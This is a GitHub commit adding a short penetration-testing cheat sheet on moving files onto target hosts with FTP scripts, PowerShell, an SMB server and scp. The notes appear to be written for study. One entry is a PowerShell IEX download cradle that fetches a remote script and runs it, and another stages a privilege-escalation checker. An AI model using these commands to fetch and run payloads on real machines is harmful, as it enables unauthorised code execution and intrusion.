Skip to content

Commit b2d3ac8

Browse files
authored
Create File Transfer.md
1 parent d73ed8e commit b2d3ac8

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed

File Transfer.md

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# File Transfer
2+
3+
15 Ways to transfer a file
4+
https://blog.netspi.com/15-ways-to-download-a-file/#perl
5+
6+
### FTP
7+
/etc/init.d/pure-ftpd restart
8+
9+
Windows
10+
echo "open <IP>">ftp.txt
11+
echo "offsec">>ftp.txt
12+
echo "offsec">>ftp.txt
13+
echo "bin">>ftp.txt
14+
echo "get file.exe">>ftp.txt
15+
echo "bye">>ftp.txt
16+
17+
ftp -s ftp.txt
18+
19+
Linux
20+
ftp -4 -d -v ftp://offsec:offsec@<IP>//linuxprichecker.py < ftp upload one liner linux
21+
22+
### Powershell
23+
powershell.exe (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip")
24+
25+
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<IP>/<script>')"
26+
27+
powershell full path:
28+
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
29+
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe
30+
31+
32+
### Smbsever
33+
impacket-smbserver <share name> <path>
34+
35+
net view \\\\\<ip>
36+
37+
### SCP
38+
After login through ssh
39+
scp <fileToUpload> user@remote:/path

0 commit comments

Comments
 (0)